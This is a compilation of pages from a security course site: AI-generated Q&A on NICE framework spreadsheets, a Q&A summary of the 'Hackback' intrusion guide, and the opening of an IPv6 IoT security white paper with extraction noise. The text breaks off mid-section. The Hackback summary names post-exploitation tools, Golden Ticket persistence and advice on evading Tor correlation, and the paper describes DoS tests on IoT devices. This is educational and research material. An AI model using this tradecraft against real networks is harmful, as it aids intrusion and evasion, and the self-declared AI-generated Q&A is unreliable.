I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=12 [![xlsx](content/images/icons/xlsx.svg) Supplement nice specialty areas and work role ksas and tasks.xlsx](https://docs.google.com/spreadsheets/d/12svrq2Kdk54m0xO2Lby_2OAOpEHxoclX/edit?usp=sharing) Supplement NICE Specialty Areas And Work Role KSAs And Tasks Supplementary data defining KSAs and tasks for NIST NICE workforce roles. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the OPM Code for 'Program Manager'? A: 801. * Q: What is Task T0001? A: Acquire and manage the necessary resources to support IT security goals. * Q: What is KSA K0001? A: Knowledge of computer networking concepts and protocols, and network security methodologies. * Q: Which Work Role performs 'Network Operations'? A: Network Operations Specialist (OM-NET-001). * Q: What is Task T0161? A: Perform analysis of log files from a variety of sources to identify possible threats. * Q: What is KSA K0004? A: Knowledge of cybersecurity and privacy principles. * Q: Which role is responsible for 'Test and Evaluation' (TST)? A: System Test & Evaluation Specialist (SP-TST-001). * Q: What is the definition of the 'Analyze' category? A: Specialty areas responsible for highly specialized review and evaluation of incoming cybersecurity information. * Q: What is the OPM Code for 'Software Development'? A: 621. * Q: What is KSA S0027? A: Skill in determining how a security system should work and how changes affect outcomes. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=11 [![xlsx](content/images/icons/xlsx.svg) Illustrative mapping of certifications to nice framework version 1.0.xlsx](https://docs.google.com/spreadsheets/d/1sCk6qTexJQHGq3h0E3u8X4sshoy9eKAq/edit?usp=sharing) Illustrative Mapping Of Certifications To NICE Framework Version 1.0 Spreadsheet mapping various security certifications to the NIST NICE framework roles. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What category does 'Threat Analysis' fall under? A: Analyze. * Q: What OPM code corresponds to 'Cyber Defense Forensics Analyst'? A: 212. * Q: What work role ID is associated with 'Cyber Crime Investigator'? A: IN-INV-001. * Q: What is the definition of 'Digital Forensics'? A: Collects, processes, preserves, analyzes, and presents computer-related evidence in support of network vulnerability mitigation and/or criminal, fraud, counterintelligence, or law enforcement investigations. * Q: What OPM code is used for 'Risk Management'? A: 611 (Authorizing Official) and 612 (Security Control Assessor). * Q: What is the Work Role ID for 'Software Developer'? A: SP-DEV-001. * Q: Which category includes 'Systems Administration'? A: Operate and Maintain. * Q: What is the definition of 'Protect and Defend'? A: Identifies, analyzes, and mitigates threats to internal information technology (IT) systems or networks. * Q: What Work Role ID is 'OM-NET-001'? A: Network Operations Specialist. * Q: What is the OPM code for 'Executive Cyber Leadership'? A: 901. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/11gB4DhLBVv_FSjXg-p8as_mkKwr0oIvL/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/11gB4DhLBVv_FSjXg-p8as_mkKwr0oIvL/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=10 [![txt](content/images/icons/txt.svg) Hackback a DIY guide.txt](https://drive.google.com/file/d/11gB4DhLBVv_FSjXg-p8as_mkKwr0oIvL/view?usp=sharing) Hackback A DIY Guide Detailed narrative of an intrusion and the tools used for internal network reconnaissance. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What tool was used for internal network reconnaissance? A: Powerview. * Q: How did the attacker pivot through the network? A: Using a SOCKS proxy server and proxychains. * Q: What vulnerability was exploited? A: A 0day in a spam filtering appliance. * Q: What specific tools were used for post-exploitation? A: Busybox, nmap, Responder.py, Python, tcpdump, dsniff, socat, screen, SOCKS proxy, tgcd. * Q: How did the attacker access the 'Rete Sviluppo'? A: By finding passwords in a Truecrypt volume that allowed access to a Nagios server bridging the networks. * Q: What is 'LLMNR/NBT-NS poisoning'? A: A technique used by Responder.py to capture credentials from Windows machines on the local network. * Q: What is the 'NoAuthentication' vulnerability? A: Refers to NoSQL databases (like MongoDB) often being deployed without authentication by default. * Q: What is 'Golden Ticket' persistence? A: Forging a Kerberos Ticket Granting Ticket (TGT) to maintain unlimited access to a domain. * Q: Why avoid direct Tor connections? A: To prevent correlation attacks; the author suggests using public Wi-Fi or bridge nodes. * Q: What is 'dsniff' used for? A: Sniffing plaintext passwords and performing ARP spoofing. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/12D6b1C_rLJZO_lrc17L_xB8kfaOVBOLT/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/12D6b1C_rLJZO_lrc17L_xB8kfaOVBOLT/view?usp=sharing]** CURRENT STATE OF IPV6 SECURITY IN IOT White Paper Stratosphere Research Laboratory Authors: Lisandro Ubiedo, Thomas O'Hara, Maria Jose Erquiaga, Sebastian Garcia Editor: Veronica Valeros Organization: Stratosphere Laboratory, Czech Technical University in Prague Funding organization: Avast Software Research conducted from May 2020 to July 2020. C U R R E N T STAT E O F I P V 6 S E C U R I TY I N I OT∗ November 4,2020 /e.sc/x.sc/e.sc/c.sc/u.sc/t.sc/i.sc/v.sc/e.sc /s.sc/u.sc/m.sc/m.sc/a.sc/r.sc/y.sc This report presents the current state of security in IPv 6for IoT devices. In this research conducted from May 2020 to July 2020 , we explored the global growth of IPv6and compared it with the real growth of IPv 6in a medium size network. If IPv6is already being used, are attackers already attacking using this protocol? To answer this question we look at the current vulnerabilities, attacks, and malware leveraging IPv 6. Our research showed that while IPv 6adoption is growing, we are years away of a full adoption. The current global adoption is of 35%, however there are countries rapidly adopting IPv 6, such as India with 60% of IPv 6enabled in the country. IPv6brings new challenges for both attackers and defenders. With a larger ad- dress space, the activity of device discovery will force attackers to devise new tech- niques and tools. Defenders will also have to adapt their tools and monitoring technology to be able to work with IPv 6. There are currently more than 16million devices exposed on the internet on IPv 6, however malware authors seem to be still focused mainly on IPv 4. There is to date, one malware capable of attacking IPv 6networks. This may give an edge to defenders, who have now the opportunity to give the first step ahead of attackers. *This research was authored by Lisandro Ubiedo, Thomas O’Hara, María José Erquiaga, and Sebastián García from the Stratosphere Laboratory, Czech Technical University in Prague. This research was funded by Avast Software. Email: stratosphere@aic.fel.cvut.cz. This report was edited by Veronica Valeros. 2 /c.sc/o.sc/n.sc/t.sc/e.sc/n.sc/t.sc/s.sc 3 /c.sc/o.sc/n.sc/t.sc/e.sc/n.sc/t.sc/s.sc 1IPv6Adoption in the Internet and in Local Networks 5 1.1IPv6Adoption Worldwide . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.1.1IPv6Adoption per Region . . . . . . . . . . . . . . . . . . . . . 5 1.1.2IPv6Adoption per Autonomous System . . . . . . . . . . . . . 6 1.1.3IPv6Adoption in Web Technologies . . . . . . . . . . . . . . . . 7 1.2Exposure of IPv 6Devices on the Internet . . . . . . . . . . . . . . . . . 8 1.3Predictions for IPv 6Implementation . . . . . . . . . . . . . . . . . . . . 9 1.4IPv6Traffic Analysis in a Real Network . . . . . . . . . . . . . . . . . . 10 1.4.1Measurements in a real network . . . . . . . . . . . . . . . . . . 10 1.4.2Attacks over IPv 6on a real network . . . . . . . . . . . . . . . . 10 2Vulnerabilities in IPv 6 11 2.1Known Vulnerabilities in IPv 6. . . . . . . . . . . . . . . . . . . . . . . . 11 2.2IPv6Scanning vs IPv 4Scanning . . . . . . . . . . . . . . . . . . . . . . 12 2.3Device Discovery via IPv 6. . . . . . . . . . . . . . . . . . . . . . . . . . 13 2.4DDoS Using IPv 6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 3Research on Malware Using IPv 6 14 3.1IoT malware C&C over IPv 6. . . . . . . . . . . . . . . . . . . . . . . . . 14 3.2IoT malware attacking over IPv 6. . . . . . . . . . . . . . . . . . . . . . 15 3.3IPv6-only honeypot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 4Data Exfiltration via IPv 6 16 4.1Tools of the trade . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 4.1.1IPv6teal . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 4.1.2IPv6DNSExfil . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 4.2Custom exfiltration methods . . . . . . . . . . . . . . . . . . . . . . . . 17 5Conclusions 19 aAppendix A: YARA rules 23 a.1Rule 1: ELF files using IPv 6. . . . . . . . . . . . . . . . . . . . . . . . . 23 a.2Rule 2: Automatic Generation of YARA Rules . . . . . . . . . . . . . . 23 a.2.1File: get.sh - Gets countries IPv 6ranges . . . . . . . . . . . . . . 23 a.2.2File: ipv 6range 2yara.py - Transforms IPv 6ranges into yara rules 23 a.2.3File: rule.pyyar - Yara rule template . . . . . . . . . . . . . . . . 24 a.2.4File: linux_ddos_irctelnet.yar . . . . . . . . . . . . . . . . . . . . 24 bAppendix B: IPv 6ICMPv 6Neighbor Solicitation Exfiltration 25 b.0.1File: ipv 6_icmp 6_exfil.py . . . . . . . . . . . . . . . . . . . . . . 25 /l.sc/i.sc/s.sc/t.sc /o.sc/f.sc /f.sc/i.sc/g.sc/u.sc/r.sc/e.sc/s.sc 4 /l.sc/i.sc/s.sc/t.sc /o.sc/f.sc /f.sc/i.sc/g.sc/u.sc/r.sc/e.sc/s.sc Figure 1 Difference between IPv 6capable and IPv 6preference in the period between June 2019 and June 2020 based on metrics by APNIC labs [ 1] . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 Figure 2 Google statistics of the use of IPv 6per country, colors and gradients indicate the use of IPv 6in different countries [ 2] . . 6 Figure 3 Growth of IPv 6implementation by the AS per year since 2013 until 2020 . According to Cisco statistics [ 3] . . . . . . . . . . . 7 Figure 4 Growth of availability of IPv 6connectivity to Google Users [ 4]7 Figure 5 Growth of IPv 6implementation on websites per year since 2013 until 2020 . Color red indicates IPv 6is not enabled, black indicates that IPv 6websites are not working, orange indicates the websites that are under construction or in a test stage and green indicates the total of websites successfully using IPv 6[5]. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 Figure 6 Devices exposed to the Internet with IPv 6according to Shodan [6] . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 Figure 7 Projection of IPv 6implementation in Czech Republic the up- coming 700days following Dr. Vyncke projection algorithm [ 7]. The X axis indicates time and Y axis indicates the percentage of IPv 6implementation in the Internet. . . . . . . . . . . . . . 9 Figure 8 Projection of IPv 6implementation world wide the upcoming 700days following Dr. Vyncke projection algorithm [ 7]. The X axis indicates time and Y axis indicates the percentage of IPv6implementation in the Internet. . . . . . . . . . . . . . . . 10 Figure 9 Total hourly connections using IPv 6in a real network from October 2014 to June 2020 . . . . . . . . . . . . . . . . . . . . . . 11 Figure 10 Comparison of the use IPv 6and IPv 4total hourly connec- tions in a local network from October 2014 and June 2020 . .12 Figure 11 Number of attack vectors and base severity for the IPv 6vul- nerabilities for 2020 based on NIST data [ 8]. . . . . . . . . . . 13 Figure 12 Amount of vulnerabilities that need each type of privilege and level of severity of the IPv 6vulnerabilities for the year 2020 based on NIST data [ 8]. The colors indicate the base severity. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 Figure 13 Diagram of the setup for DoS attack tests against an IoT device 14 Figure 14 OSI Model and description of its layers. Layers 3and4are highlighted in light orange and yellow respectively [ 9] . . . . 16 Figure 15 IPv6packet header structure with Flow Label field (marked red) [ 10] . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 Figure 16 Flow of packets in data exfiltration experiments . . . . . . . . 17 Figure 17 Packet creation example using DNS for data exfiltration . . . 17 Figure 18 Packets with encrypted data in the sequence field are re- ceived and decrypted . . . . . . . . . . . . . . . . . . . . . . . . 19 /l.sc/i.sc/s.sc/t.sc /o.sc/f.sc /t.sc/a.sc/b.sc/l.sc/e.sc/s.sc Table 1 Percentage of IPv 6adoption per region, considering IPv 6ca- pable and IPv 6Preferred and amount of samples generated by APNIC [ 11] . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 Table 2 Results of the DoS attacks on the laboratory devices . . . . . . 15 /i.sc/p.sc/v.sc/six.taboldstyle /a.sc/d.sc/o.sc/p.sc/t.sc/i.sc/o.sc/n.sc /i.sc/n.sc /t.sc/h.sc/e.sc /i.sc/n.sc/t.sc/e.sc/r.sc/n.sc/e.sc/t.sc /a.sc/n.sc/d.sc /i.sc/n.sc /l.sc/o.sc/c.sc/a.sc/l.sc /n.sc/e.sc/t.sc/w.sc/o.sc/r.sc/k.sc/s.sc 5 /one.taboldstyle /i.sc/p.sc/v.sc/six.taboldstyle /a.sc/d.sc/o.sc/p.sc/t.sc/i.sc/o.sc/n.sc /i.sc/n.sc /t.sc/h.sc/e.sc /i.sc/n.sc/t.sc/e.sc/r.sc/n.sc/e.sc/t.sc /a.sc/n.sc/d.sc /i.sc/n.sc /l.sc/o.sc/c.sc/a.sc/l.sc /n.sc/e.sc/t.sc- /w.sc/o.sc/r.sc/k.sc/s.sc Understanding the growth of IPv 6adoption worldwide is key to estimate the num- ber of attacks in IPv 6in the near future. In this section we explore the adoption of IPv6globally, considering also geographical and technological factors. Many organizations provide public statistics on IPv 6adoption, among them: Google [ 4]: usage of IPv 6by Google users since late 2008 . Akamai [ 12]: current IPv 6adoption per country and networks. APNIC [ 11]: current IPv 6measurements per region and country, including measurements on IPv 6capable vs IPv 6real adoption. Cisco 6lab [5,3]: IPv 6usage metrics including data from core networks. w3techs [ 13]: metrics IPv 6usage on websites. World IPv 6Launch initiative [ 14]: global metrics on the general adoption of IPv6worldwide and per networks. /one.taboldstyle./one.taboldstyle IPv6 Adoption Worldwide The percentage of IPv 6adoption worldwide is lower than 35% and a full transition to IPv 6is not yet in sight [ 11]. The adoption of IPv 6closely follows the growth of IPv6capable networks as shown in Figure 1. Once IPv 6is implemented is most likely to be used. Figure 1: Difference between IPv 6capable and IPv 6preference in the period between June 2019 and June 2020 based on metrics by APNIC labs [ 1] The initiative World IPv 6Launch [ 14] encourages companies and organizations all over the world to adopt IPv 6. Their measurements show that Comcast, largest home Internet service provider in the United States, have 73% IPv 6adoption. Other networks have reached even higher adoption of IPv 6, such as T-Mobile USA with 94.38% and CZ.NIC with 88.29% [14]. /one.taboldstyle./one.taboldstyle./one.taboldstyle IPv6 Adoption per Region In terms of global geographical usage, America and Asia are the regions with more IPv6adoption [ 2,11]. The adoption per region is depicted in Table 1, showing that Africa as a clear outlier with only 1,95% of IPv 6adoption to date. There are however different degrees of IPv 6adoption in countries of the same region. Figure 2shows color-coded geographical adoption per country [ 2]. Green /i.sc/p.sc/v.sc/six.taboldstyle /a.sc/d.sc/o.sc/p.sc/t.sc/i.sc/o.sc/n.sc /i.sc/n.sc /t.sc/h.sc/e.sc /i.sc/n.sc/t.sc/e.sc/r.sc/n.sc/e.sc/t.sc /a.sc/n.sc/d.sc /i.sc/n.sc /l.sc/o.sc/c.sc/a.sc/l.sc /n.sc/e.sc/t.sc/w.sc/o.sc/r.sc/k.sc/s.sc 6 Table 1: Percentage of IPv 6adoption per region, considering IPv 6capable and IPv 6Preferred and amount of samples generated by APNIC [ 11] Code Region IPv 6Capable IPv 6Preferred Samples XA World 26.16% 24.99%205683730 XC Americas 32.33% 31.82% 36518202 XD Asia 29.64% 27.91%117345630 XF Oceania 23.85% 23.28% 1459593 XE Europe 21.52% 20.94% 30055544 XB Africa 1.95% 1.89% 20300265 XG Unclassified 0.07% 0.07% 77076 Figure 2: Google statistics of the use of IPv 6per country, colors and gradients indicate the use of IPv 6in different countries [ 2] shows countries with more IPv 6adoption, and red shows regions where adoption is very poor or unreliable. IPv6adoption per continent and per country shows a big gap, especially between countries like India, with more than 60% IPv 6adoption and countries in other regions like Africa. There is also a notable gap between countries in America and Asia. For example, in America there are countries with a low percentage of IPv 6 adoption, like Venezuela, Cuba, Chile and Paraguay, in contrast with French Guiana and USA with more than 40% [11]. /one.taboldstyle./one.taboldstyle./two.taboldstyle IPv6 Adoption per Autonomous System The historical expansion of IPv 6and IPv 4Autonomous Systems (AS) in transit data, data that is not originating nor destined to the AS, indicates that the implementation of the IPv 6protocol by Autonomous Systems follows a linear growth [ 3]. This linear growth is shown in Figure 3, and it was not affected even though there was a decrease in the use of IPv 4mid2017 . /i.sc/p.sc/v.sc/six.taboldstyle /a.sc/d.sc/o.sc/p.sc/t.sc/i.sc/o.sc/n.sc /i.sc/n.sc /t.sc/h.sc/e.sc /i.sc/n.sc/t.sc/e.sc/r.sc/n.sc/e.sc/t.sc /a.sc/n.sc/d.sc /i.sc/n.sc /l.sc/o.sc/c.sc/a.sc/l.sc /n.sc/e.sc/t.sc/w.sc/o.sc/r.sc/k.sc/s.sc 7 Figure 3: Growth of IPv 6implementation by the AS per year since 2013 until 2020 . According to Cisco statistics [ 3] /one.taboldstyle./one.taboldstyle./three.taboldstyle IPv6 Adoption in Web Technologies While IPv 6is still not being used by a significant number of websites globally, the websites that do use it are high-traffic websites such as Google, YouTube, Facebook, Yahoo, and Wikipedia [ 13]. Approximately 35% of Google users use IPv 6as shown in Figure 4. Figure 4: Growth of availability of IPv 6connectivity to Google Users [ 4] Cisco measurements [ 5] on the use of IPv 6on the top 500 Alexa websites [ 15] shows that the number of websites with IPv 6support is growing considerably over the last few years as shown in Figure 5, where the red line indicates IPv 6is not enabled, black indicates that IPv 6websites are not working, orange indicates the websites that are under construction or in a test stage and green indicates the total of websites successfully using IPv 6. To calculate the websites rank Cisco 6Lab calculates the page views by using Alexa ranks websites [ 15]. From Alexa Top 50websites, a query in AAAA is made to the DNS servers and it gives a weight according to: (i) in test: test domain name working in IPv 6, (ii) failing: AAAA record exists but web page not working in IPv 6, and (iii) other: not IPv 6enabled websites. The weight is then calculated with a function on page views = f (website rank) based on world data [ 16]. /i.sc/p.sc/v.sc/six.taboldstyle /a.sc/d.sc/o.sc/p.sc/t.sc/i.sc/o.sc/n.sc /i.sc/n.sc /t.sc/h.sc/e.sc /i.sc/n.sc/t.sc/e.sc/r.sc/n.sc/e.sc/t.sc /a.sc/n.sc/d.sc /i.sc/n.sc /l.sc/o.sc/c.sc/a.sc/l.sc /n.sc/e.sc/t.sc/w.sc/o.sc/r.sc/k.sc/s.sc 8 Figure 5: Growth of IPv 6implementation on websites per year since 2013 until 2020 . Color red indicates IPv 6is not enabled, black indicates that IPv 6websites are not working, orange indicates the websites that are under construction or in a test stage and green indicates the total of websites successfully using IPv 6[5]. /one.taboldstyle./two.taboldstyle Exposure of IPv6 Devices on the Internet There are to date 16,709,430devices using IPv 6exposed to the Internet as observed by Shodan [ 17] and shown in Figure 6. The majority of these devices are located in the United States, India and Denmark. The services exposed are web servers, using HTTPS and HTTP . Figure 6: Devices exposed to the Internet with IPv 6according to Shodan [ 6] We found that not all threat intelligence tools commonly used by analysts support IPv6. VirusTotal [ 18] and URLScan.io [ 19] were able to report, search and filter by IPv6addresses at the time of writing this report. Other well known tools like URLHaus [ 20], ANY.RUN [ 21] and GreyNoise [ 22] did not have IPv 6support at the time this research was conducted. This slow adoption seems to corroborate the hypothesis that while IPv 6is growing, is not yet being heavily exploited and abused by attackers. /i.sc/p.sc/v.sc/six.taboldstyle /a.sc/d.sc/o.sc/p.sc/t.sc/i.sc/o.sc/n.sc /i.sc/n.sc /t.sc/h.sc/e.sc /i.sc/n.sc/t.sc/e.sc/r.sc/n.sc/e.sc/t.sc /a.sc/n.sc/d.sc /i.sc/n.sc /l.sc/o.sc/c.sc/a.sc/l.sc /n.sc/e.sc/t.sc/w.sc/o.sc/r.sc/k.sc/s.sc 9 /one.taboldstyle./three.taboldstyle Predictions for IPv6 Implementation In2016 , a report described that IPv 6adoption would be 50% by 2020 [23]. While the global adoption is not near this predicted value, some countries like India, with 60% IPv 6adoption, already surpassed it [ 12]. Others analysis shows that IPv 6adoption will significantly grow by 2024 and full implementation will start in 2026 . However organizations will have to invest not only money but time and effort to ensure IPv 6deployment [ 24]. Researcher Dr. Eric Vyncke developed a tool to predict the adoption of IPv 6by using regression methods [ 7]. Using this tool we generated a projection for Czech Republic for the next 700 days using this tool. The best fitting curve projected that the rate of adoption will be quite slow in the upcoming years. This result is shown in Figure 7, the X axis indicates time and Y axis indicates the percentage of IPv6implementation in the Internet. The blue line indicates the real value of IPv 6 adoption in Czech Republic and the red one indicates the projection. Figure 7: Projection of IPv 6implementation in Czech Republic the upcoming 700days fol- lowing Dr. Vyncke projection algorithm [ 7]. The X axis indicates time and Y axis indicates the percentage of IPv 6implementation in the Internet. Additionally, we generated the projection of IPv 6adoption worldwide as shown in Figure 8. The result was completely different, showing that the growth will be of more than 40% in the next two years. The IPv 6projection tool [ 7] allows to implement only some models for the pre- diction, from which the quadratic one presented the best approximation to the data. We currently don’t believe that any model would perfectly match the data, and it may be possible that based on the current data a logarithmic model would do better. This is only an assumption regarding the data and the options offered by the tool to predict IPv 6adoption. After analysing the results in the data projection and considering the historical data, our estimation is that in general IPv 6adoption will grow, but at a slow pace during the years and not linearly. The main reasons why the IPv 6implementation is slower are: (i) some enterprises are concerned that IPv 6is less efficient than IPv 4, (ii) IT staff are not trained to implement IPv 6and (iii) more study into network implementation and security implications is needed [ 25]. /i.sc/p.sc/v.sc/six.taboldstyle /a.sc/d.sc/o.sc/p.sc/t.sc/i.sc/o.sc/n.sc /i.sc/n.sc /t.sc/h.sc/e.sc /i.sc/n.sc/t.sc/e.sc/r.sc/n.sc/e.sc/t.sc /a.sc/n.sc/d.sc /i.sc/n.sc /l.sc/o.sc/c.sc/a.sc/l.sc /n.sc/e.sc/t.sc/w.sc/o.sc/r.sc/k.sc/s.sc 10 Figure 8: Projection of IPv 6implementation world wide the upcoming 700 days following Dr. Vyncke projection algorithm [ 7]. The X axis indicates time and Y axis indicates the percentage of IPv 6implementation in the Internet. /one.taboldstyle./four.taboldstyle IPv6 Traffic Analysis in a Real Network To complement the previous study, we conducted an analysis of traffic collected in a real network with two main goals: first to understand the growth in the usage of IPv 6, and second to quantify attacks over IPv 6protocol. The network analyzed contained approximately 5,000endpoints. /one.taboldstyle./four.taboldstyle./one.taboldstyle Measurements in a real network Our measurement consisted on sampling the number of connections during a pe- riod of 6years. We measured the total amount IPv 6connections on a given hour, of a given day for every month. The selected hour had generally the highest level of traffic on that day. Figure 9shows the growth of IPv 6in this network since October 2014 to June 2020 . The growth is not as consistent as seen in the global usage of IPv6in previous sub-sections. Our measurements shows that in 2017 there was a spike in IPv 6usage of nearly 300,000connections in one hour, which then settled back down to about 50k con- nections, and slowly increased from there. We compared the usage of IPv 4and IPv 6on the same network. The use of the IPv4is much greater than IPv 6, especially between 2014 and2015 , where the differ- ence between them in the number of connections was 1,868,036connections. On the other hand, in mid 2017 the difference was as close as 67,655connections. Figure 10 illustrates the amount of connections using IPv 4and IPv 6between October 2014 and June 2020 . Our measurements confirm what we observed from the global telemetry. IPv 6 adoption is on the rise, but not as fast as initially presumed. IPv 4will continue to dominate for the near future. /one.taboldstyle./four.taboldstyle./two.taboldstyle Attacks over IPv6 on a real network Two approaches were considered in order to assess the number of attacks using IPv6in a real network. First, we measured if common protocols were attacked and exploited over IPv 6. Second, we attempted to find attacks in other more uncommon protocols over IPv 6by port scanning for services available over IPv 6. The analysis /v.sc/u.sc/l.sc/n.sc/e.sc/r.sc/a.sc/b.sc/i.sc/l.sc/i.sc/t.sc/i.sc/e.sc/s.sc /i.sc/n.sc /i.sc/p.sc/v.sc/six.taboldstyle 11 Figure 9: Total hourly connections using IPv 6in a real network from October 2014 to June 2020 . was conducted on the traffic for the hour after 2PM for every day of the month of June 2020 , that is the peak hour for the traffic in the network. We observed that IPv 6was being used on a regular basis for common protocols such as SMB, SMTP , and SSH. We did not find any coordinated and well planned attacks on any protocol, but we did find what seemed to be attack attempts. We found a total of 10attempted connections over IPv 6to these major protocols over the month of June 2020 . We scanned for services utilizing IPv 6and found only 3services other than the ones mentioned previously. Two of these service ports were 2000 /TCP and 8291 /TCP , which are used by MikroTik routers and OpenWin web servers. Dur- ing our analysis we found only 4connections that originated from IPs outside the organization that were real attacks over the one month period. Our research on network data for the month of June 2020 led to only 15possible connection attempts that could be classified as attacks over more than 4.5million connections. Approximately 1connection in 300,000 made over IPv 6in the hour after 2PM in the month of June 2020 were attacks. Regarding the possible attacks, one IPv 6connection attempt originated from Japan (attacking port 22/TCP) and a second IPv 6connection originated in China (at- tacking port 23/TCP and 445/TCP). An interesting case were some IPs which IPv 6 format was not allocated by IANA, indicating that those IPs were likely manually assigned. /two.taboldstyle /v.sc/u.sc/l.sc/n.sc/e.sc/r.sc/a.sc/b.sc/i.sc/l.sc/i.sc/t.sc/i.sc/e.sc/s.sc /i.sc/n.sc /i.sc/p.sc/v.sc/six.taboldstyle In this section we explore the known vulnerabilities on IPv 6as well as other com- mon techniques an adversary may use to attack using IPv 6. /two.taboldstyle./one.taboldstyle Known Vulnerabilities in IPv6 There are currently 443 vulnerabilities on IPv 6[26] on the MITRE’s database of Common Vulnerabilities and Exposures (CVEs) [ 27]. Only 36of these vulnerabili- /v.sc/u.sc/l.sc/n.sc/e.sc/r.sc/a.sc/b.sc/i.sc/l.sc/i.sc/t.sc/i.sc/e.sc/s.sc /i.sc/n.sc /i.sc/p.sc/v.sc/six.taboldstyle 12 Figure 10: Comparison of the use IPv 6and IPv 4total hourly connections in a local network from October 2014 and June 2020 ties were found in 2020 , and affected software included Cisco routers (CVE- 2019 - 1804 [28]), NextcloudServer (CVE- 2020 -8138 [29]), FreeBSD (CVE- 2020 -7457 [30], CVE- 2020 -7457 [31]), and Juno OS (CVE- 2020 -1613 [32]. The analysis IPv 6vulnerabilities can be enriched with data provided by the Na- tional Vulnerabilities Database by the National Institute of Standards and Technol- ogy (NIST) [ 8]. The NVD uses the Common Vulnerability Scoring System (CVSS) to assess the severity of a software vulnerability. The are four qualitative severity ratings values which we will leverage: (i) low, (ii) medium, (iii) high and (iv) criti- cal [33]. Similarly, we are interested in evaluating how these vulnerabilities can be exploited, and this is provided by the CVSS as the Attack Vector metric. The attack vectors can be (a) Local (L), (b) Adjacent Network (A), and (c) Network (N) [ 33]. The IPv 6vulnerabilities reported in 2020 are shown in Figure 11, grouped by base severity and attack vector. Most IPv 6vulnerabilities reported in 2020 a high sever- ity score and the predominant attack vector was Network, and thus are remotely exploitable. CVSS additionally quantifies the privileges required to exploit the vulnerability, which can be (i) none, (ii) low and (iii) high. Most of the IPv 6vulnerabilities re- ported in 2020 require no privileges to exploit them as shown in Figure 12. The base severity is color coded. /two.taboldstyle./two.taboldstyle IPv6 Scanning vs IPv4 Scanning The migration of IoT devices to IPv 6will limit the efficiency of malware scanning large networks and specially the whole Internet address space due to an increase on the size of the addresses. For IPv 4, the mask has 8bits reserved for host addressing. An attacker will need to probe 256addresses to discover if a service in particular is running in a particular subnet. The approximate time to perform this test is 5minutes [ 34]. In the case of IPv6, a typical subnet has 64bits reserved for host addressing, this means that the attacker will need to conduct a test on 264addresses to discover services running in the network. If we consider one probe per second, this can take 5billion years to complete [ 34]. /v.sc/u.sc/l.sc/n.sc/e.sc/r.sc/a.sc/b.sc/i.sc/l.sc/i.sc/t.sc/i.sc/e.sc/s.sc /i.sc/n.sc /i.sc/p.sc/v.sc/six.taboldstyle 13 Figure 11: Number of attack vectors and base severity for the IPv 6vulnerabilities for 2020 based on NIST data [ 8]. Scanning on IPv 6is thus more complex and resource demanding for an attacker. This can be specially limiting in the IoT space that relies on the limited resources of small IoT devices (CPU, RAM, disk space, etc). This may be one of the reasons why attackers are avoiding developing their attacks and malware around the IPv 6 protocol. /two.taboldstyle./three.taboldstyle Device Discovery via IPv6 Device discovery can be done via several techniques, one of them is via ICMPv 6 requests to reserved multicast addresses [ 35]. Tools like ping 6[36] or alive 6[35] will carry this kind of active discovery. Research conducted in our IoT laboratory shows that from 12IoT devices, 10of them responded to these requests. Another technique for device discovery consists on sniffing the network listening to ICMPv 6Neighbor Solicitation and Advertisement packets and extracting the Tar- get field from those packets, which hold new IPv 6addresses. This same approach is used by the passive_discovery 6[37] tool. /two.taboldstyle./four.taboldstyle DDoS Using IPv6 IoT botnets are well known for their ability to carry out Distributed Denial of Ser- vice (DDoS) attacks [ 22]. Denial of Service attacks can also be used to attack internal devices. Through local network discovery, attackers could identify IP cameras and disable them from the network via these Denial of Service techniques, imposing also a physical vulnerability. For this reason, we studied different known DDoS techniques to understand their impact over the IPv 6protocol. We used the tool denial6 application for this research, shipped with the THC-IPv6 suite [38] for IPv 6testing. Figure 13shows the diagram with the configuration to conduct the experiment. In Table 2we summarize the results of our experiments on real devices, each de- vice tested against the hop-by-hop header with router alert option plus 180headers /r.sc/e.sc/s.sc/e.sc/a.sc/r.sc/c.sc/h.sc /o.sc/n.sc /m.sc/a.sc/l.sc/w.sc/a.sc/r.sc/e.sc /u.sc/s.sc/i.sc/n.sc/g.sc /i.sc/p.sc/v.sc/six.taboldstyle 14 Figure 12: Amount of vulnerabilities that need each type of privilege and level of severity of the IPv 6vulnerabilities for the year 2020 based on NIST data [ 8]. The colors indicate the base severity. Figure 13: Diagram of the setup for DoS attack tests against an IoT device attack and smurf 6attack. Our experiments show that DDoS over IPv 6is very effec- tive. Even carried out from a single device, we were able to produce a 100% packet loss from any client trying to connect to the device being attacked. In some cases the latency (milliseconds) is incremented by approximately 600%, in the case of the smurf 6attack against the Google Chromecast. /three.taboldstyle /r.sc/e.sc/s.sc/e.sc/a.sc/r.sc/c.sc/h.sc 